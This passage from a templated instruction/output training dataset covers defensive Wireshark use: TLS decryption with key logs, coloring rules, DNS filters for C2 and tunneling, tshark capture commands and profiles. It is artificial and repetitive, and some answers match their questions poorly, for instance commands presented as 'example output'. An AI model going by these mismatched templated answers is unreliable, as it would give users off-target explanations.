TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040802Z", "updated_at": "2025-12-18T00:11:32.040802Z"} +{"id": "trtp-7e6705efa848", "instruction": "Describe Wireshark Coloring Rules.", "output": "Wireshark Coloring Rules\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.\n\nPlatform: cross-platform\n\nCommon uses:\n- Visual pattern recognition\n- Highlight anomalies\n- Quick traffic classification\n- Error identification", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040992Z", "updated_at": "2025-12-18T00:11:32.040992Z"} +{"id": "trtp-496390e20257", "instruction": "What command or query syntax does Wireshark use?", "output": "Syntax for Wireshark:\n\nView > Coloring Rules\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041006Z", "updated_at": "2025-12-18T00:11:32.041006Z"} +{"id": "trtp-d6f09f6deb80", "instruction": "Demonstrate Wireshark Coloring Rules with an example.", "output": "Example of Wireshark Coloring Rules:\n\n```\n# Built-in colors:\n- Red: TCP RST, checksum errors\n- Green: HTTP traffic\n- Light blue: UDP\n- Yellow: SMB\n\n# Custom rule example:\nName: Suspicious DNS\nFilter: dns.qry.name contains \"evil\"\nBackground: Red\n```\n\nInterpretation: Colors indicate packet type or condition at a glance", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041017Z", "updated_at": "2025-12-18T00:11:32.041017Z"} +{"id": "trtp-0decc15b8f34", "instruction": "Give me a practical example of Wireshark.", "output": "Here is a practical example of Wireshark:\n\n```\n# Built-in colors:\n- Red: TCP RST, checksum errors\n- Green: HTTP traffic\n- Light blue: UDP\n- Yellow: SMB\n\n# Custom rule example:\nName: Suspicious DNS\nFilter: dns.qry.name contains \"evil\"\nBackground: Red\n```\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041027Z", "updated_at": "2025-12-18T00:11:32.041027Z"} +{"id": "trtp-19639ad65492", "instruction": "In what scenarios is Wireshark useful?", "output": "Use cases for Wireshark:\n\n- Visual pattern recognition\n- Highlight anomalies\n- Quick traffic classification\n- Error identification\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041038Z", "updated_at": "2025-12-18T00:11:32.041038Z"} +{"id": "trtp-deb070a1412b", "instruction": "How do I interpret Wireshark output?", "output": "Interpreting Wireshark output:\n\nColors indicate packet type or condition at a glance\n\nExample output:\n```\n# Built-in colors:\n- Red: TCP RST, checksum errors\n- Green: HTTP traffic\n- Light blue: UDP\n- Yellow: SMB\n\n# Custom rule example:\nName: Suspicious DNS\nFilter: dns.qry.name contains \"evil\"\nBackground: Red\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041049Z", "updated_at": "2025-12-18T00:11:32.041049Z"} +{"id": "trtp-5042a405d9a8", "instruction": "What best practices should I follow when using Wireshark?", "output": "Tips for using Wireshark:\n\n- Customize for your analysis needs\n- Export and share rule sets\n- Red typically = errors\n\nUseful for: Visual pattern recognition, Highlight anomalies, Quick traffic classification", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041061Z", "updated_at": "2025-12-18T00:11:32.041061Z"} +{"id": "trtp-91a036f64cdc", "instruction": "What should I look for when using Wireshark for incident response?", "output": "Using Wireshark for threat detection:\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.\n\nExample:\n```\n# Built-in colors:\n- Red: TCP RST, checksum errors\n- Green: HTTP traffic\n- Light blue: UDP\n- Yellow: SMB\n\n# Custom rule example:\nName: Suspicious DNS\nFilter: dns.qry.name contains \"evil\"\nBackground: Red\n```\n\nTips:\n- Customize for your analysis needs\n- Export and share rule sets", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041075Z", "updated_at": "2025-12-18T00:11:32.041075Z"} +{"id": "trtp-aab27f289b85", "instruction": "How do I incorporate Wireshark into my security workflow?", "output": "Workflow for Wireshark Coloring Rules:\n\n1. Understand the context: Coloring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.\n\n2. Apply the tool:\n```\n# Built-in colors:\n- Red: TCP RST, checksum errors\n- Green: HTTP traffic\n- Light blue: UDP\n- Yellow: SMB\n\n# Custom rule example:\nName: Suspicious DNS\nFilter: dns.qry.name contains \"evil\"\nBackground: Red\n```\n\n3. Common scenarios: Visual pattern recognition, Highlight anomalies, Quick traffic classification\n\n4. Best practices:\n - Customize for your analysis needs\n - Export and share rule sets", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041089Z", "updated_at": "2025-12-18T00:11:32.041089Z"} +{"id": "trtp-c3741436a141", "instruction": "What makes Wireshark useful for this task?", "output": "Advantages of Wireshark:\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.\n\nBest suited for:\n- Visual pattern recognition\n- Highlight anomalies\n- Quick traffic classification\n- Error identification\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041103Z", "updated_at": "2025-12-18T00:11:32.041103Z"} +{"id": "trtp-462baf546c1e", "instruction": "How does Wireshark integrate with other security tools?", "output": "Integration points for Wireshark:\n\nColoring rules highlight packets matching specific filters to make patterns visible. Default rules show TCP errors in red, HTTP in green, etc.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-coloring-rules", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040972Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041116Z", "updated_at": "2025-12-18T00:11:32.041116Z"} +{"id": "trtp-62f19e5431d3", "instruction": "Describe DNS Analysis in Wireshark.", "output": "DNS Analysis in Wireshark\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.\n\nPlatform: cross-platform\n\nCommon uses:\n- Find C2 domains\n- Detect DNS tunneling\n- Identify DGA\n- Track domain resolution", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041321Z", "updated_at": "2025-12-18T00:11:32.041321Z"} +{"id": "trtp-04c7419b9f45", "instruction": "Show me the basic syntax for Wireshark.", "output": "Syntax for Wireshark:\n\ndns filter\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041334Z", "updated_at": "2025-12-18T00:11:32.041334Z"} +{"id": "trtp-62a3802927de", "instruction": "Give me a practical example of Wireshark.", "output": "Example of DNS Analysis in Wireshark:\n\n```\n# DNS display filters:\ndns # All DNS traffic\ndns.qry.name contains \"evil\" # Specific domain\ndns.qry.type == 1 # A record queries\ndns.qry.type == 28 # AAAA record queries\ndns.flags.rcode == 3 # NXDOMAIN responses\n\n# Statistics > DNS for overview\n```\n\nInterpretation: Query name shows domain, Response shows resolved IP", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041346Z", "updated_at": "2025-12-18T00:11:32.041346Z"} +{"id": "trtp-f56f4c9c3c44", "instruction": "Show me an example of Wireshark in action.", "output": "Here is a practical example of Wireshark:\n\n```\n# DNS display filters:\ndns # All DNS traffic\ndns.qry.name contains \"evil\" # Specific domain\ndns.qry.type == 1 # A record queries\ndns.qry.type == 28 # AAAA record queries\ndns.flags.rcode == 3 # NXDOMAIN responses\n\n# Statistics > DNS for overview\n```\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041357Z", "updated_at": "2025-12-18T00:11:32.041357Z"} +{"id": "trtp-ceafce4890bd", "instruction": "What are the use cases for Wireshark?", "output": "Use cases for Wireshark:\n\n- Find C2 domains\n- Detect DNS tunneling\n- Identify DGA\n- Track domain resolution\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041369Z", "updated_at": "2025-12-18T00:11:32.041369Z"} +{"id": "trtp-72a57474263b", "instruction": "What are some tips for using Wireshark?", "output": "Tips for using Wireshark:\n\n- High query volume = possible tunneling\n- Random domain names = DGA\n- Check against threat intel\n\nUseful for: Find C2 domains, Detect DNS tunneling, Identify DGA", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041384Z", "updated_at": "2025-12-18T00:11:32.041384Z"} +{"id": "trtp-9f9808f3fca6", "instruction": "How do I use Wireshark for threat detection?", "output": "Using Wireshark for threat detection:\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.\n\nExample:\n```\n# DNS display filters:\ndns # All DNS traffic\ndns.qry.name contains \"evil\" # Specific domain\ndns.qry.type == 1 # A record queries\ndns.qry.type == 28 # AAAA record queries\ndns.flags.rcode == 3 # NXDOMAIN responses\n\n# Statistics > DNS for overview\n```\n\nTips:\n- High query volume = possible tunneling\n- Random domain names = DGA", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041398Z", "updated_at": "2025-12-18T00:11:32.041398Z"} +{"id": "trtp-0f17dc1bb5c3", "instruction": "What is the typical workflow for using Wireshark?", "output": "Workflow for DNS Analysis in Wireshark:\n\n1. Understand the context: Analyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.\n\n2. Apply the tool:\n```\n# DNS display filters:\ndns # All DNS traffic\ndns.qry.name contains \"evil\" # Specific domain\ndns.qry.type == 1 # A record queries\ndns.qry.type == 28 # AAAA record queries\ndns.flags.rcode == 3 # NXDOMAIN responses\n\n# Statistics > DNS for overview\n```\n\n3. Common scenarios: Find C2 domains, Detect DNS tunneling, Identify DGA\n\n4. Best practices:\n - High query volume = possible tunneling\n - Random domain names = DGA", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041413Z", "updated_at": "2025-12-18T00:11:32.041413Z"} +{"id": "trtp-7211a66155aa", "instruction": "What are the advantages of Wireshark for security analysis?", "output": "Advantages of Wireshark:\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.\n\nBest suited for:\n- Find C2 domains\n- Detect DNS tunneling\n- Identify DGA\n- Track domain resolution\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041427Z", "updated_at": "2025-12-18T00:11:32.041427Z"} +{"id": "trtp-5788a81d030e", "instruction": "How do I use Wireshark alongside other tools in my toolkit?", "output": "Integration points for Wireshark:\n\nAnalyzing DNS traffic reveals domain lookups which can indicate C2 communication, data exfiltration via DNS tunneling, or DGA activity.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-dns-analysis-in-wireshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041300Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041440Z", "updated_at": "2025-12-18T00:11:32.041440Z"} +{"id": "trtp-3035261a4f42", "instruction": "How do security analysts use tshark?", "output": "Wireshark Command Line (tshark)\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.\n\nPlatform: cross-platform\n\nCommon uses:\n- Automated capture\n- Scripted analysis\n- Field extraction\n- Server-side capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041638Z", "updated_at": "2025-12-18T00:11:32.041638Z"} +{"id": "trtp-9579d2a23071", "instruction": "How do I use tshark?", "output": "Syntax for tshark:\n\ntshark [options] [filter]\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041651Z", "updated_at": "2025-12-18T00:11:32.041651Z"} +{"id": "trtp-bd2ddde09395", "instruction": "Demonstrate Wireshark Command Line (tshark) with an example.", "output": "Example of Wireshark Command Line (tshark):\n\n```\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read and filter\ntshark -r capture.pcap -Y \"http\"\n\n# Extract specific fields\ntshark -r capture.pcap -T fields -e ip.src -e ip.dst -e http.host\n\n# Live capture with filter\ntshark -i eth0 -f \"port 80\" -Y \"http.request.method == GET\"\n```\n\nInterpretation: Output depends on flags - can be packet summary, fields, or JSON", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041663Z", "updated_at": "2025-12-18T00:11:32.041663Z"} +{"id": "trtp-d79cde0cf39d", "instruction": "Provide an example of using tshark.", "output": "Here is a practical example of tshark:\n\n```\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read and filter\ntshark -r capture.pcap -Y \"http\"\n\n# Extract specific fields\ntshark -r capture.pcap -T fields -e ip.src -e ip.dst -e http.host\n\n# Live capture with filter\ntshark -i eth0 -f \"port 80\" -Y \"http.request.method == GET\"\n```\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041673Z", "updated_at": "2025-12-18T00:11:32.041673Z"} +{"id": "trtp-4e9aa8d91614", "instruction": "What are the use cases for tshark?", "output": "Use cases for tshark:\n\n- Automated capture\n- Scripted analysis\n- Field extraction\n- Server-side capture\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041685Z", "updated_at": "2025-12-18T00:11:32.041685Z"} +{"id": "trtp-c388cbc16ade", "instruction": "What do the results from tshark mean?", "output": "Interpreting tshark output:\n\nOutput depends on flags - can be packet summary, fields, or JSON\n\nExample output:\n```\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read and filter\ntshark -r capture.pcap -Y \"http\"\n\n# Extract specific fields\ntshark -r capture.pcap -T fields -e ip.src -e ip.dst -e http.host\n\n# Live capture with filter\ntshark -i eth0 -f \"port 80\" -Y \"http.request.method == GET\"\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041696Z", "updated_at": "2025-12-18T00:11:32.041696Z"} +{"id": "trtp-2d637e941782", "instruction": "What best practices should I follow when using tshark?", "output": "Tips for using tshark:\n\n- Use -T fields for data extraction\n- -Y for display filter, -f for capture filter\n- Useful in scripts and pipelines\n\nUseful for: Automated capture, Scripted analysis, Field extraction", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041708Z", "updated_at": "2025-12-18T00:11:32.041708Z"} +{"id": "trtp-2d23249911ec", "instruction": "How do I use tshark for threat detection?", "output": "Using tshark for threat detection:\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.\n\nExample:\n```\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read and filter\ntshark -r capture.pcap -Y \"http\"\n\n# Extract specific fields\ntshark -r capture.pcap -T fields -e ip.src -e ip.dst -e http.host\n\n# Live capture with filter\ntshark -i eth0 -f \"port 80\" -Y \"http.request.method == GET\"\n```\n\nTips:\n- Use -T fields for data extraction\n- -Y for display filter, -f for capture filter", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041721Z", "updated_at": "2025-12-18T00:11:32.041721Z"} +{"id": "trtp-56079d20c954", "instruction": "What's the process for analyzing data with tshark?", "output": "Workflow for Wireshark Command Line (tshark):\n\n1. Understand the context: tshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.\n\n2. Apply the tool:\n```\n# Capture to file\ntshark -i eth0 -w capture.pcap\n\n# Read and filter\ntshark -r capture.pcap -Y \"http\"\n\n# Extract specific fields\ntshark -r capture.pcap -T fields -e ip.src -e ip.dst -e http.host\n\n# Live capture with filter\ntshark -i eth0 -f \"port 80\" -Y \"http.request.method == GET\"\n```\n\n3. Common scenarios: Automated capture, Scripted analysis, Field extraction\n\n4. Best practices:\n - Use -T fields for data extraction\n - -Y for display filter, -f for capture filter", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041736Z", "updated_at": "2025-12-18T00:11:32.041736Z"} +{"id": "trtp-0bd03da70de2", "instruction": "When should I use tshark versus other similar tools?", "output": "Advantages of tshark:\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.\n\nBest suited for:\n- Automated capture\n- Scripted analysis\n- Field extraction\n- Server-side capture\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041749Z", "updated_at": "2025-12-18T00:11:32.041749Z"} +{"id": "trtp-7b1c5043851a", "instruction": "Can tshark be combined with other analysis methods?", "output": "Integration points for tshark:\n\ntshark is the command-line version of Wireshark. Used for automated capture, headless analysis, and scripted packet processing.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-command-line-tshark", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041616Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041762Z", "updated_at": "2025-12-18T00:11:32.041762Z"} +{"id": "trtp-63693810af4e", "instruction": "Describe Wireshark Profile Management.", "output": "Wireshark Profile Management\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.\n\nPlatform: cross-platform\n\nCommon uses:\n- Quick context switching\n- Team standardization\n- Scenario-specific analysis\n- Training environments", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041959Z", "updated_at": "2025-12-18T00:11:32.041959Z"} +{"id": "trtp-c697ae9a5649", "instruction": "Show me the basic syntax for Wireshark.", "output": "Syntax for Wireshark:\n\nEdit > Configuration Profiles\n\nProfiles save Wireshark configurations including display filters, coloring rules, columns, and preferences. Create profiles for different analysis scenarios.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.041973Z", "updated_at": "2025-12-18T00:11:32.041973Z"} +{"id": "trtp-d2e2c52a08c4", "instruction": "Demonstrate Wireshark Profile Management with an example.", "output": "Example of Wireshark Profile Management:\n\n```\n# Create new profile:\n1. Edit > Configuration Profiles\n2. Click '+' or copy existing\n3. Name profile (e.g., 'Malware Analysis')\n4. Customize settings\n5. Switch profiles from status bar dropdown\n\n# Typical profiles:\n- HTTP Analysis (HTTP columns, filters)\n- Malware Hunting (custom colors, filters)\n- VoIP (RTP columns, statistics)\n```\n\nInterpretation: Profile name shown in status bar", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-profile-management", "license": "original", "retrieved_at": "2025-12-18T00:11:32.041939Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, 